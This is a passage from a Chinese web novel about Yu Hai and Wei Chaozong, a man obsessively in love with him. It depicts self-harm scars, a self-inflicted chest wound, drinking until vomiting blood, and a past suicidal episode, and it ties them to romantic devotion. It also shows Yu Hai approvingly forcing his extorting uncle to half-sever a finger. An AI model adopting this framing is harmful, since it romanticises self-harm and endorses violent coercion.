于海没料到,魏朝宗就这么坦然的说出来,还一副认命接受的模样。
不禁拧眉,沉声道:“魏朝宗,你真的明白吗?这我这儿,你不如一条狗。”
魏朝宗默默的想。
于海不爱他没关系。
如果于海不会爱人,如果于海喜欢狗超过喜欢人,那他甘愿做于海的狗。
但他不敢说出心中所想,房间里的秘密已经吓到了于海。
魏朝宗点头:“我明白。”
“你明白个屁!”于海无语了,转身坐在飘窗上,向烟灰缸里抖了抖烟灰,简直怀疑眼前的魏朝宗被掉包了。
“于海,我不怕痛苦,求而不得的痛对我是恩赐。”
哪儿来的受虐狂?
于海气笑了,骂道:“你踏大爷的在这儿胡说八道什么玩意。”
效仿某东方大国的那位圣雄吗?
魏朝宗有足够令人信服的证据证实他没有说谎,但方才冲动造成的后果警醒着他,让他在手指触碰袖口的那刻,及时悬崖勒马。
魏朝宗心底懊悔,若是于海不在,他肯定要给自己一刀泄愤。他不该带于海来,不该暴露房间的秘密,更不该说那些不知所谓的话。
魏朝宗改口:“我的意思是,没有什么所谓的痛苦。过去的五年已经把所有的不愉快带走了,我们重新开始不好吗?”
从前不会重头再来,曾经发生过的事情不会改变。于海不是个喜欢回头看的人,他真正和魏朝宗有了相交之心,是以为魏朝宗对五年前释怀了,但魏朝宗的执念超乎了他的想象。
于海将烟头摁熄在烟灰缸中,嗤笑:“自欺欺人有意思吗?”
“我没有。”
“魏朝宗,我不是瞎子,不是聋子,我看得见也听得清。”
魏朝宗在这五年中的自我折磨,于海无法视而不见。
“你敢说你已经放下了所有的执念?你敢说这份执念没有让你自我伤害?”
魏朝宗不禁退缩般的后退半步:“我没有。”
于海一把抓住魏朝宗的手腕,将他的袖子撸上去,露出数不清的蜿蜒交错的狰狞伤疤。
有些伤口甚至还在结痂……
于海厉声质问:“这就是你说的没有痛苦,所有的不愉快都消失了?”
魏朝宗慌乱失措,想要抽回自己的手臂,遮住于海的目光,漆黑的眼睛蒙上一层水雾,近乎哀求的说:“你别看,很丑。”
于海看着魏朝宗颤动的双眸,不忍的松开了手,起身准备离开。
“于海!”
于海没有回头,留下最后一句劝诫:“魏朝宗,你好好想想吧,你的未来还有很长,不要被一时的感情蒙蔽,被它拖入地狱。”
于海走向小区大门,一路思绪纷乱。
掏出手机准备叫代驾,发现自己手机忘了拿,车钥匙也忘了拿,反而摸出一盒烟。
无奈的望着夜空叹了口气,敲出根烟噙在唇角,点燃。
他想,人的情感果然不能共通。
他不懂魏朝宗的执念从哪里来的。
五年前不理解,五年后更不理解。
爱上一个人这么容易吗?
情爱这种东西这么重要吗?
五年前,十九岁的魏朝宗为了留在他身边,跪了整整一夜。
明明是个自尊自傲的人,就因为虚无缥缈的爱放弃尊严屈膝跪倒。
五年过去,再多的爱也应该消磨在时间的流逝之中。
即使有感情,残余的应该是恨啊。恰如前几次和魏朝宗的相逢,对方敌视的态度,与他时刻的针锋相对,才应该是合理的。甚至,魏朝宗曾放出让那对姐弟消失的狠话,于海以为他是恨屋及乌,用伤害他身边人的方式恶心他、报复他。
看似疯子般的举动,以魏朝宗的乖戾性情,不是做不出来。
而现在,为了不让他看到自认为丑陋的伤痕,二十四岁的魏朝宗双目赤红眼里含着将滴未滴的泪发出哀求。
明明是个睚眦必报眼不著砂的人,却在经历五年的自我折磨后,欺骗他也欺骗自己说从未痛苦过。
于海不免心中叹息,将烟摁熄丢在垃圾桶。
第57章 第 57 章
漫无目的地绕着曾经居住的小区散步, 一年多时间,一楼的门店商铺更新了一半,倒是熟悉的那家小面馆还在。
于海走进去, 店内依然整洁干净, 依然仅有女老板一个人坐在柜台边笑呵呵玩手机。
“来碗面。”
老板听到声音抬头, 看见他眼睛一亮:“好久没看到你了。”
于海笑了笑。
“还要老一样?”
于海点头:“老一样。”
老板给他倒上茶水,接着去了后厨。
不一会儿, 老板端着碗热腾腾的清汤面放在他面前, 店里没有其他人,老板遇见熟人不免多聊两句:“你还是一个人?”
于海点头:“你呢?”
“我也是, 一个人挺好的。”
“看得出你过得很快乐。”
老板笑呵呵道:“每天穷开心。追你的人一定很多, 怎么没脱单?你打算一辈子单身了?”
于海摇头笑了笑:“没遇到合适的,也没做过打算。”
“咱俩一样, 我也没想过。一个人过也好,两个人过也好,人生短暂, 只要开心就够了。”
说完转身去了柜台处, 继续玩手机去了,不知道刷到什么好玩的信息, 脸上洋溢着开心。
于海不紧不慢的吃着面。
吃完后, 于海付了钱。老板过来收碗,看到干干净净的碗底,顿时眉开眼笑:“好吃吗?”
“味道很好。”于海笑着给予肯定。
“欢迎下次再来。”
一碗热腾腾的面下肚,于海心情平复不少,踱步往小区走去。
按照魏朝宗带领的路线, 于海再次回到了15楼。
手指放在门铃上停顿了片刻,终于按响了门铃。
却迟迟得不到反应。
于海拍了拍门, 里面依然没动静。
难道出门了?
手机还在魏朝宗家里,他现在也没办法联系人。
算了,明天再说吧。
于海正打算离开,身后的门开了。
看到开门的人,于海的眼睛不由得睁大,眼前浑身酒气颓废狼狈的魏朝宗和之前的他判若两人。
于海推开愣神堵在门口的人,半个小时没见,满屋子都是浓重的酒气,地上散落着三个空酒瓶。
“魏朝宗,你疯了!”
“于……海?”魏朝宗身体靠在门上,半睁着迷蒙的醉眼。
于海踢上门,将人摁在墙上,冷笑:“你以为自虐能让我心疼?自虐就能得到一切?魏朝宗,你不是小孩子!”
魏朝宗垂下眼,自顾自的说:“你不是于海,他不会来的。”
于海嗤笑:“魏大少认识第二个叫于海的?说出来,我给你找人。”
“我只认识一个于海。”
于海唇边嘲讽的笑敛去。
“我要找的于海……是那个在漆黑的阴湿街头将我捡走的人。”
“你帮我找找他,好不好。”
“帮我找找他。”
于海默然,长叹口气:“魏朝宗,回忆里的人是找不到,也抓不住的。”
“我很想他……你知道吗,如果没有他,我早已死在了阴暗的角落。”
“把它当作一场梦吧,或许那就是一场梦,你一直是高高在上的魏少,怎么可能落入绝境。”
“梦?”
“是的,梦醒了,那些梦里的人和事都该从你的生活中剔除,故人往事云散烟消。”
魏朝宗沉默片刻,低低笑了声:“我宁愿永远不要醒,就让我死在第一眼见到他的那刻吧。”
“魏朝宗……”
“你能不能帮我找到他……告诉他,别伸手,就让我安安静静的死去。”
于海掐住他的下巴,强硬的让人抬起头,厉声喝斥:“魏朝宗!”
魏朝宗眼睛里布满了雾水,强忍着泪意:“你已经救了我,为什么不继续救下去!为什么抛弃我,为什么不要我……”
于海心中一震,放缓声音:“只要你想要,大把人前赴后继想做你的情人。他们会对你温柔体贴,对你关怀备至……”
“其他人我都不要!”魏朝宗大吼着打断他的话,终究未能压下汹涌的酸涩的与冲动,眼泪夺眶而出,“我只要你,我只爱你!”
“可是,魏朝宗……”于海英俊的面孔带着怜悯与温柔,声音温和像春日的微风,说出的话却能扎得人鲜血淋漓,“我不爱你,我给不了你想要的。”
魏朝宗只觉自己的心脏被剜了出来,痛得浑身发抖,一瞬间他失去了视觉看不清这个世界,他深爱的人竖起一根根尖利的刺拒绝他的靠近。
魏朝宗辨不清方向,但他知道哪里让他最痛,他不顾一切的朝着令他最痛的地方扑过去,任由无数尖利的刺戳进身体,鲜血汩汩流出来。
在幻想中的濒死里,在真切的疼痛中,魏朝宗浑身颤抖的抱紧那个说不爱他的人,流着泪语无伦次的说:“我知道…我知道…但我控制不了我自己,那颗心流干了血也死不了。你不肯杀我,于海,你不动手杀我,它不会死的。我尝试过的……”
于海听着他的胡言乱语,安抚说:“我怎么会杀你?”
魏朝宗抬起头,扯开衣领,握住于海的手贴在胸口,布满血丝的眼球上充盈着泪水,目光中带着恳求:“我尝试过的,你相信我。我尝试杀死我自己,但它还是跳着,它怎么也死不了。”
一道狰狞的伤疤赫然卧在胸口的位置。
于海猛地感受到一阵心悸,伸手捋动怀里人汗湿的黑发:“我信你。”
“于海……”魏朝宗嘶哑的叫了声他的名字,再次紧紧抱住渴望的人,哽咽道,“我只要活着一天,就会纠缠你一天……只有你能杀死我,只有你。”
于海没有说话,手掌一遍遍缓缓抚过他的头发。
“于海,别走好吗?”
“求你,别放弃我,别不要我。”
“不要赶我走。”
于海低声道:“好,不走。”
于海任由对方紧紧抱住,直到拥住他的双手松懈了力气。
他将昏睡的魏朝宗放在沙发上,看着魏朝宗的脸发呆。
他很少有发呆的时刻,他的生活总是忙碌而充实,闲暇时刻也总能找到填补空白的休闲娱乐。
这一刻的于海却只想停止思考,因为魏朝宗给他出了道世纪难题。
或许对多情的人,这道题简单的不能再简单。
但对于海,读懂题目已是困难,爱情是什么?动心是什么滋味?于海不懂,他能够明确的是,他对魏朝宗不曾动心,也不曾爱过。
醉酒的魏朝宗说愿意死在初见的那一刻,但他们的初次见面并不愉快。
于海的记忆力一向不错,他先是想起地上的一滩血,记起闪烁寒光的匕首,往日的画面便清晰的浮现在他的脑海。
魏朝宗一心等死,而他违背了求死之人的意愿强行救起了他。
于海把受伤的魏朝宗扛起来送去治疗,到医院时魏朝宗已经失血过多昏迷了。
魏朝宗身上的刀伤多是外伤,最严重的是他腰腹处的伤口。手术结束后,小翻译替他转达医生的话,再晚一点,就会有生命危险。
醒来的魏朝宗怒目切齿,对自己活过来的情形相当不爽,虚弱的嘶吼:“你凭什么救我!”
于海不知道对方经历了什么,导致对这个世界产生了厌倦,也无意追究。
他也有过这样的时刻。
相比活着而言,死是一件简单的事。
但只要活着,人生就有无限希望,而结束生命,一切都会归于尘土,再也没有改变的可能。
于海看着年轻的遍体鳞伤的魏朝宗,想到几年前的自己,那时的他始终撑着一口气,渴望与家人永远在一起,又不甘心就此了结这一生,而他也想再给魏朝宗一次选择的机会。
于海没有说劝导和激励的话,语气淡淡的说:“行,等你出院之后,我找个没人的角落,断你手脚,把你扔到大街上。”
“你……”魏朝宗胸膛起伏不定,虚弱的喘着气。
“你多大了?”
话题转换的速度让魏朝宗一时反应不及。
“关你屁事!”回过神的魏朝宗努力让自己虚弱的语调变得凶恶。
“我十七岁的时候,有一段时间,天天琢磨怎么自杀。给你指导一下简单快捷的死亡方式,以免你下次寻死再被救回来。”
魏朝宗语气恶劣:“因为这张脸,被变态囚禁,所以想不开?”
于海愣了愣,挑眉:“小小年纪思想龌龊。不过,看在你夸我长得帅的份上,不和你计较。”
魏朝宗讥讽:“那就是因为学习成绩差所以要自杀?”
于海微微摇头,淡淡道:“十七岁的时候我爸没了,我妈喝了药送到医院捡回一条命,从那以后,我就想着万一有哪天我妈突然没了,我能死的干脆点,死后说不定还能见着面。”
魏朝宗沉默许久,才自嘲的说:“我爸我妈死了很多年,他们不想见我,我也不想见到他们。”
于海没有追问他的家庭恩怨,而是抚摸他的头发,说:“那你更要好好活着,为了见不到他们,好好活下去。”
于海在医院陪了魏朝宗三天三夜,然后带他回到了项目处的住所。
从出院开始,魏朝宗对他产生了依赖,并未出乎预料,大抵是重获新生后的雏鸟情结。
而不知何时起,依赖变了味。
第58章 第 58 章
于海的回忆被一阵呻吟声打断。
躺在沙发上睡着的魏朝宗忽然睁开眼, 脸色变得更加难看,皱着眉弓起腰,踉跄的奔向卫生间呕吐。
于海紧跟着过去, 却发现门被锁死了。
“开门。”
“我……咳咳……”
咳嗽声夹杂着干呕声, 听得于海在外面都不禁皱起眉头。
里面不断传来冲水的声音。
于海冷笑:“现在知道丢人了?赶紧开门, 不然我踹门了。”
话音落地,门便从里面打开了。
于海尚未看清魏朝宗的神色, 对方便快速的转身走向洗手台前, 疯狂的捧着水洗脸,那架势恨不得把脸搓掉层皮。
忽然动作一顿, 胃部剧烈抽搐, 魏朝宗不想在于海面前丢脸,然而想要呕吐的欲望难以压制, 他狼狈的半跪在地上呕吐起来。
看到马桶里的血迹,于海目光一凝。
下一秒,里面的血迹便被水流冲刷掉了。
“吐完了吗?”于海平静的说, “吐完去医院。”
“不…用…”魏朝宗声音嘶哑干涩, 连头也不敢抬起来。
于海心底陡然生出一股怒火,蹲下身抓着魏朝宗的头发强硬的让他抬起头。
魏朝宗嘴唇染着血渍, 他的眼眶赤红, 眼底氤氲泪意,黑眸中含着哀求。
于海的心并没有因此软一丝一毫,声音愈加冰冷:“你以前就是这么作践自己的吗?这就是你说的求而不得没有痛苦……没有痛苦的自残自虐!你死了,这份罪责打算归咎给谁,给我吗?”
“不!”魏朝宗眼睛蓄满水雾, “我没有!我没有想死。”
“不想死,你喝到胃吐血!不想死, 你往自己胸口插刀!”
“这里太痛了…我没有其他办法…”魏朝宗攥着胸口的衣服,终于无法抑制,扑上去抱住唯一能拯救他的人,眼泪决堤,“对不起,我错了于海,我错了…”
于海沉默的任由他抱着。
过了一会,他低声道:“知道错了,那就好好活着。”
“我不知道什么情况下我才会动心,但我可以告诉你,自虐的方式不会让我可怜你,更不会让我爱上你。”
“魏朝宗,未来还有很长,对自己多点耐心吧。”
说完,于海起身拿了手机和钥匙,离开了魏朝宗的家。
于海叫了代驾,站在路边等待代驾过来,摸向口袋掏出烟盒,想抽根烟。
看到熟悉的标志,叹口气放了回去。
“老板。”五个月过去,小哥的造型依然没变,满脸喜悦的停下电动车小跑过来,“又见面了。”
于海淡笑点头,将钥匙递给他。
平头小哥驾轻就熟的将侧停的车开出来,等于海坐到后座,平稳的驶入车行道。
“老板,你看着好像有点不开心。”
于海看向车内后视镜,对上一双干净清澈的双眼。
平头小哥憨厚的笑:“你有不开心的事可以跟我吐槽,把我当成垃圾桶,有些事说出来就好了。你放心,我嘴很严实,绝对不跟别人乱讲。”
见雇主沉默,平头小哥又说:“或者我俩聊聊其他的话题,转移转移注意力。”
于海笑了笑:“你谈恋爱了吗?”
平头小哥以为对方采纳了他第二个意见,也不遮掩自己的私事:“没呢,但我有很喜欢的女孩。”
“喜欢多久了?”
“四年多啦。”小哥不好意思的笑,“嘿嘿,一直没追上。”
于海默然片刻问道:“没想过放弃?”
平头小哥惊讶:“为什么要放弃?她虽然没答应,但也没拒绝过我。”
“她不喜欢你,却不拒绝你。”
“她不喜欢我,但是允许我跟在她身边,不烦我缠着她,你不觉得她很好吗?”
于海叹息的笑了声:“傻子。”
平头小哥不愿意了:“老板,你怎么骂人呢。”
“你单方面付出,却始终得不到她的喜欢,不觉得难过吗?”
平头小哥认真想了想:“当然会难过啊,不瞒你说,我还难过的哭了好几回。男儿有泪不轻弹,只是未到伤心处,那滋味真是比死了还难受。当然哈,我不知道死了是什么滋味,就是打个比方。”
“既然难过为什么不放手?”
“你是不是想说我怎么跟个舔狗似的。”小哥笑眯眯的问,“老板,你肯定没喜欢过人吧。”
“没有。”
“那就对了。老板你不懂,放手的难受远远超过单恋,而且喜欢一个人怎么可能只有难过呢,她还是我勇敢生活下去的动力,只要看到她想着她,无论多累多丧,立刻就能满血复活。”
“如果她某天喜欢上别人了哪?”
“老板,你太打击人了吧。”平头小哥抱怨了一句,迅速恢复笑眯眯的模样,“其实这个问题我想过很多遍的,虽然听你一说还是有点扎心,但是未来的事谁也说不准。我说句难听的,你看我天天跑车,哪天出个意外不是不可能。所以啊,我不想去考虑明天的事,只要今天她还让我陪在身边,我就满足了。”
“世界上那么多人,你不试一试其他选择?两情相悦总比单恋好。”
“或许有吧,可我确实没遇见第二个喜欢的啊,而且碰到喜欢的人哪有那么容易,有一个已经是老天爷给我的幸运了。就像老板你,不也没碰到喜欢的人嘛,所以你不用同情我,你应该羡慕我。”
于海笑着摇头。
平头小哥福至心灵:“老板,是不是有人给你告白了?”
“算是吧。”
小哥八卦的心熊熊燃烧:“是上次我接你单见过的人吗?”
“不管是谁,你都没必要为他们烦恼。”小哥想起雇主上次给自己垫付手机钱、医药费,又关心自己一个陌生人的身体,感慨道,“你就是人太好了。你要这样想,遇到你是他们积了八辈子德,人又好长得超级帅,他们喜欢男的,结果遇见你这么一个超级无敌好的大帅哥,是他们的荣幸。”
于海被逗乐了。
“哈哈哈。”小哥也跟着开心,“我说真的啊,老板你可别同情他们,别觉得单恋就苦了。他们选择喜欢你,那肯定深思熟虑过,放弃比单恋更苦呗。老板,你要是想拒绝,就直接拒绝,别不好意思觉得伤害了别人。”
“如果拒绝没用哪。”
“还是个死缠烂打的,能报警吗?”小哥说了之后,想到上次那两人对峙的画面,“好像不太现实。”
于海见他愁眉苦脸,笑道:“你不用替我犯难。”
小哥感慨:“你就是人太好了,豺狼虎豹最爱盯着这种你好人欺负了。
这一会功夫,于海已经被他发了几张好人卡,忍不住笑道:“豺狼虎豹?好人?”
“你就是个大好人啊。”小哥肯定的点头,“就跟帅哥不觉得自己长得帅一样,好人往往不觉得自己是个好人。他们……”
小哥又回忆起那天的场面:“一看就不是个遵纪守法的,跟你这样的人比起来就是豺狼虎豹。”
然后又骂了句:“小狗还知道看眼色呢,你都明确拒绝了,他们还纠缠,不是还不如那啥了嘛。”
车子到了小区门口,于海让他停下不用送了,过会保安会帮他开进去。
“那行。”小哥美滋滋的收了钱,准备离开。
于海问道:“你怎么回去?”
“我们公司有夜间班车,来之前我已经报备好了,过会就到。”小哥笑眯眯的挥手,“千万别为豺狼虎豹烦恼,老板再见。”
说着,一溜烟跑没影了。
于海回到家时江雪梅已经睡了。
乐乐趴在狗窝旁懒懒的喝水,一看到他便兴奋的跑了过来。
于海揉了揉大狗的毛茸茸的脑袋,眼前浮现另一个人的身影。
“豺狼虎豹?”
于海哼笑了声。
真是抬举他了。
为了点感情的事,爱而不得就要死要活,还不如只狗呢。
于海笑着逗弄狗子的下巴。
“更比不上我们家乐乐。”
第59章 第 59 章
又一个周末。
于海和江雪梅吃完早饭, 于海自觉收拾残局,江雪梅上楼,不一会儿拎出一个行李箱。
见状, 于海放下手头的活, 大跨步奔到楼上, 接过他妈手中的东西。
掂量手中的重量,于海问:“这次准备挺充分, 出去玩几天?”
“七八天吧, 我和你王姨打算好好逛一逛华城。”
“秋日赏枫,华城公园的红叶非常漂亮, 现在正是最佳观赏期, 你们可以去看看。”
“好。”江雪梅乐呵呵的应下,“我记着。”
到了一楼大厅, 江雪梅指挥于海把行李箱放下,划开手机中的旅游群,对照上面写的清单目录, 打开行李箱: “我得再检查一遍有没有漏掉的东西。”
于海继续去收拾碗筷。
“小魏怎么最近几天都不在家, 也没来找过你?”江雪梅边清点需要带上的必需物品,边问道。
“忙工作吧。”
江雪梅整理行李, 萨摩耶则围着她打转。
“你俩一个比一个忙, 谈朋友要多相处才行。”
于海无奈的笑。
江雪梅打断他:“我懂我懂,你俩只是普通朋友。普通朋友也要多在一块,你看我跟我的老朋友们,每周都出去玩。”
于海挑眉:“我朋友又不止他一个。”
江雪梅翻个白眼:“那么多朋友,没一个是能正经陪着你的。”
“怎么就不正经了?陪吃陪玩还不够?”于海勾勾手指, 萨摩耶欢快的跳了过来。
于海笑道:“您放心去玩吧,不用担心我, 也不用担心乐乐。”
江雪梅每个月都会和老伙伴们出去旅行,大多时候去的地方都不远,周边逛上两天就回家。
于海知道他妈是放心不下家里,愿意走出家门旅游已经是于海努力之后的结果。
一年多前,他妈还执着于干家政服务的工作,固执的说闲不下来,现在和刘江的父母交了朋友,有他们带着,江雪梅看开许多,每天乐呵呵的参加老年社团活动,不然就结伴一起出去旅行。
于海乐得看他妈如此。
打扫完厨房,那边江雪梅也清点结束合上了行李箱。
于海提起行李箱放入汽车后备箱,开车接上刘江的母亲王姨,一并将他们送到小区大门东20米停着的大巴车处,再由大巴车将旅行团的人一起送往机场。
小区门口等着他们的不止有旅行社派过来的大巴,还有眼熟的人。
于平安正蹲守在小区门口,看到熟悉的车牌像苍蝇见了血急不可耐准备围过来,被保安眼疾手快的拦住了。
距离上次他们一家人被江雪梅打出门也有小半年了,还以为这家人终于消停了,结果又跑来了,用脚趾头想也知道是过来要钱的。
江雪梅原本笑意盈盈的和王姨聊天,一看到无赖的于平安脸色瞬间冷下来,撸起袖子摆出大干一仗的架势,咬牙切齿的大骂:“狗改不了吃屎!”
于海目不斜视的开着车,安安稳稳的停到大巴等待的地方,笑着安抚:“犯不着为这种人生气,别耽误了时间,你和王姨先上车,剩下的事我来处理。”
江雪梅脸色铁青,气不过还想找于平安理论,于海一手提起行李箱,一手揽住他妈的肩膀,把人往大巴车上送,笑着说:“快上去吧。”
王姨也在旁边帮腔劝:“阿海办事你还不放心,咱们在这儿反而给他添乱。”
江雪梅忍下怒火,叮嘱于海:“别给他留面子,于平安就是个地痞无赖。”
于海继续给他妈吃定心丸,轻笑:“放心去玩,你儿子我还能吃亏吗?”
这倒是,于海的本事,江雪梅还是相信的。
望了一眼小区门口被保安控制住的于平安,江雪梅顺着于海的意思登上了大巴。
于海微笑目送大巴离开,转过身之时脸上的笑意淡去。
从敞开的后备箱中取出一条烟,接着顺手从暗格拿起匕首放进口袋,自从发生绑架事件,他也有了一定的防身意识。
关上后备箱,于海不紧不慢的往小区门口走去。
于平安一条胳膊被人强行撇到身后,哎呦哎呦的叫唤着:“疼死我了!于海,好歹我是你大伯,你就眼睁睁的看着一个保安欺负我。”
话音刚落,钳制他胳膊的力道更大了,于平安有种胳膊被掰断的恐惧感。
“邢哥,方便借用你的地方吗?”
邢国胜神色冷淡,做事却是直截了当,像拎小鸡仔一样将于平安提溜进保安室。
于平安试图反抗,被武力镇压。
在他们后面,于海跟着进了门。
“把他放开吧。”
“你确定?”
“没事,放开吧。”
邢国胜先是加重力气将人提溜到脚尖离了地,下一刻猝不及防松开手,于平安哀嚎着脸着地扑倒在地板上。
于海将香烟递过去:“邢哥,多谢你帮忙。”
“下次……”
于海了然:“下次一定给你带书。”
邢国胜面色淡淡的点点头,接过香烟放到桌子上:“我出去站岗,有事叫我。”
说话时,他的视线紧紧锁定着狼狈趴在地上的中年人,仿佛对方是什么穷凶极恶的重刑犯。
趴在地上的于平安原本大气不敢喘,偷偷看见那个人高马大的保安离开了屋子,立刻哀声叫唤起来。
一边哀嚎一边观察于海的反应,却见他的大侄子悠然自在的坐到椅子上,好整以暇的看着他,像在看小丑表演。
于平安恼羞成怒:“你这是对长辈的态度吗?”
“态度?擅闯私人住宅,我可以跟上次一样,请您去警察局喝茶。”
“你……”于平安咬牙切齿,骂人的话梗在喉咙中硬是给憋了下去,他知道对方办得出来,今天他过来找于海是有要紧事,可不想在关键时候被关进去。
“有什么事直说。”于海开门见山,他今天有的是时间,不过他的空闲可不想浪费给一个无关紧要的人。
于平安爬起来拍了拍裤腿,四处张望,发现只有一张椅子——已经被于海霸占了,不禁心中大骂眼前这个不知尊敬长辈的人。
放在平时,他肯定要动手教训教训对方,让对方知道个辈分高低,但这次过来,他有求于人,只能暂时忍下来。
“你……你大嫂病重住院,家里砸锅卖铁实在凑不出手术费了,大侄子,看在你和你大哥是血缘兄弟的份上,这次你可得救命啊!”
于海漫不经心一笑,问道:“于承望怎么不来?”
提到自己的独子于承望,于平安恨铁不成钢,那个女人得了大病已经成了他们家的拖累。
他儿子一条筋,死活都要继续管那女人,巨额的手术费他听了顿时觉得头昏脑胀,把他们家车卖了、存款掏空、再借点外债勉强支付得起,可那样他只能节衣缩食过活,他们房子也会面临断供的风险,说不定沦落到睡大街,于平安可不想睡大街吃不饱穿不暖。
他们一定要走到这样得绝路吗?于平安又想到了他家有钱的亲戚——开公司的于海。
他原打算带着于承望一起过来的,但是于承望一贯不跟他们掺和这事,涨红着脸说,他宁愿卖血也不会跟过来丢人。
于平安不理解面子是能吃还是能喝,但于承望不愿意,他逼也没用,只能自己偷摸过来了。
“你大哥他……他是个体面人,再说他的工作性质特殊,万一被坏心眼的宣扬出去,对他名声不好。”
“钱,我可以给你。”
于平安欣喜若狂,得意洋洋的想他的策略果然奏效,于海是开公司的大老板,这样的人面子大过天,当着他的面撒泼最有效。怎么着为了维护他大老板的面子,也得不落人口实的打发了他,何况他要的三十万对于海来说就是毛毛雨。
想到这里,于平安嫉妒的眼睛都红了,恨恨的想老天爷不公,同样是坐办公室的,他儿子脑袋比于海这小子聪明得多,凭什么他名校毕业的儿子就要伏低做小给人支使,初中毕业的混小子却能当大老板数钱数到手抽筋。
于海:“不要你还。作为交换,你留下点东西就行。”
听到不需要还钱,于平安瞬间回神,乐得笑出满脸褶子:“你说的是真的?不用还?”
“不用。只要你留下一件东西。”
“什么?”
“你的一根手指。”
于平安脸上的笑僵住了:“大侄子,别开我玩笑了。”
于海拿出匕首把玩:“如果你觉得这笔买卖不划算,那你可以走了,我绝不会挽留。”
于平安受惊的踉跄着后退一步:“你…你这是犯法。”
“敲诈勒索才是犯法,我可以保证,如果你我二人有一人要蹲大牢,那个人只可能是你。”
“你个卑鄙无耻的…”于平安谩骂的话,在看到对方勾起的微笑时,情不自禁的吞进肚子里。
虽是笑着,却无端令他脊背发寒。
于海慢条斯理的说:“不要挑战我的耐心,我的脾气可不怎么好。想从我这里拿走这笔钱,只有这一个选择。不舍得你的手指?好走不送。”
于平安脸色难看,强打起笑脸:“我常年干活,手指粗糙的烂树皮一样,就算砍了也值不了几个钱。”
这就是睁眼说瞎话了,于平安出名了的好吃懒做,那手指头看着比于海光滑多了。
“你不舍得你的手指。”于海一语戳破他的心思,转而道,“于承望的也可以。”
“那怎么行!”于平安瞪大眼,“他还要靠双手工作,你看…其他人的行不行?”
于海明明笑意未变,于平安却觉得房间的温度又下降了几个度。
“我不是在和你商量,你们两个选一个吧。”
于平安脸色变幻莫测,紧迫感压的他难以喘息,他哪个也不想选。
第60章 第 60 章
于海起身, 迤迤然向前走动一步,吓得于平安跟只老兔子似的敏捷跳开了,不过由于房间狭小, 他这一跳后脑勺磕到冷硬的墙面上, 直把他嗑的眼冒金星。
“你…你不要过来。”于平安眼冒金星, 还不忘捂住缝起来的内衬口袋,“我已经有了你的把柄, 你要是敢对我动粗, 绝对让你吃不了兜着走。”
“什么把柄?录音还是录像?”看见于平安震惊的眼神,于海不以为意, “我见过的花样多了, 这点把戏能威胁我,那我也不用混了。”
于海笑了笑, 忽然说:“于承望是在药监局工作吧,凑巧上周我和他们局长吃了饭,听说他们正在进行新一轮选拔。”
于平安目光警惕:“你什么意思?”
“你不会蠢的连这话也听不出来吧。”
于平安猪肝色的面庞愈发黑红。
于海气定神闲:“明白告诉你, 让于承望身败名裂我不需要花多少力气。你之前做的那些事, 我让人整理份材料匿名递上去,你猜那个最重视家庭背景社会关系的地方还能容得下他吗?”
直到此刻, 于平安彻底慌了神。
刀子掉在地上发出响声的刹那, 于平安的三魂七魄都快被吓飞了。
“动手吧。”
此时,那平淡的声音彷佛从地狱深渊发出来一样,向他追魂索命。
于平安这才意识到,他的这位大侄子哪里是个爱面子的体面人,分明是个心狠手辣的恶魔。
保安室外, 邢国胜心不在焉,目光看似落在小区入口处, 实则早已失去了焦距,耳朵一直注意着室内的动静。
那个男人虽然年纪大身体虚,但行事莽撞粗鲁,保不准为钱做出些激进的举动,万一伤到于海……
邢国胜攥紧拳头,身体绷紧时刻处于戒备状态。
听到室内传来惨叫的刹那,邢国胜几乎弹射起来,以火箭般的速度蹿了进去。
捕捉到熟悉的身影,收紧目光上上下下打量一遍,发现对方没有任何受伤的痕迹,不禁松了口气。
“抱歉邢哥,弄脏了你的地方。”于海目含歉意的看向邢国胜。
邢国胜接触到对方的视线,心中一跳,绷紧的那根弦倏然松弛下来,因为紧张收缩的视域随之扩散,这才注意到跪在地上涕泪横流的男人。
方才咋咋呼呼的老泼皮再没了撒泼耍无赖的力气,捧着流血的手哭嚎。
他的左手无名指被刀子砍伤了,并没有全然斩断,尚有一半的骨皮衔接着,随着他身体的抽搐,那截指头不稳的摇摆,于平安见状哭的更厉害了。
“闭嘴。”
轻飘飘的两个字,却好像有着千钧重量,压的于平安身体一弯,低着头蜷缩在墙角再也不敢发出声音,只是身体时不时颤抖一下发出存在感。
“舍不得就滚蛋吧。”
低头当鹌鹑的于平安紧挨着墙磨磨蹭蹭的起身,临走前犹犹豫豫的问:“那钱……”
于海勾了勾唇:“你不想要手指,我可以帮你一把。”
闻言,于平安头也不回向外逃窜,动作敏捷的完全不像个六十多岁的人。
眼见于平安慌张逃跑,于海也不阻拦,四下看了看,没有找到湿巾,抽了张抽纸,沾了点水擦干净地上的血渍。
邢国胜不假思索,身体先于意识想要帮忙。
于海已经收拾好起身,两人差点撞到一起。
视线相交,于海先是一愣,继而看见向来面无表情的硬汉脸变得一脸呆傻,忍不住笑起来。
“今天还要感谢你帮忙。”
邢国胜脸不禁有了热度,庆幸自己面黑看不出别的颜色来,语调的僵硬却泄露他隐藏的些许紧张:“举手之劳。”
于海没有多停留,道别之后便离开了。邢国胜看着他走远,继续自己的站岗工作。
于海回到家第一件事就是回电话给他妈。
江雪梅:“你那边怎么样?于平安给你找麻烦了吗?”
于海转了转于平安交出来的录音笔:“放心,已经解决了,以后于平安不会再过来了。”
准确的说,是不敢再过来了。
江雪梅松口气,想到于平安又不禁恨得牙痒痒:“那老东西这次找的什么借口要钱?”
“刘倩要动手术,他来要手术费。”
“于承望的媳妇病了?”
“嗯。”
“怪不得上次我看她脸色不好。你给他钱了?”
“没有。”
“那他就这么甘心的走人了?”
“我让他留下根手指交换,他吓得一溜烟跑没影了。”
江雪梅噗嗤乐出声,想到刘倩的情况,不禁叹了口气:“这个老东西要钱的时候装模作样,开口就是大家庭要相亲相爱互帮互助,真让他付出点什么逃的比兔子都快。也不知道于承望媳妇的病到底怎么个情形。”
于海笑道:“我知道您心软。”
“不知道的就算了,知道了不搭把手,心里总过意不去。”江雪梅叹气,“就是不甘心真让老东西把钱给要到了,有了这次就有下次,指不定以后怎么过来闹。”
“不让他知道就行了。”于海早想好了预案。
江雪梅听他这样说,彻底放下心:“你有主意就成。”
这件事要解决不难,于海请李崇明帮忙打听到徐倩住院的地方以及主治大夫,匿名捐赠,免去同批次十个患者的手术费用。
如此一并瞒着了于承望,避免和他家有牵扯的麻烦。
另外,虽然他希望事业蒸蒸日上,但对钱的欲望不大。这些年他赚的钱满足需求绰绰有余,也该回馈社会。
解决了问题,于海喂喂鱼、逗逗狗,十分松弛惬意。
一个人悠闲独处到午后,手机发出了新消息提示音。
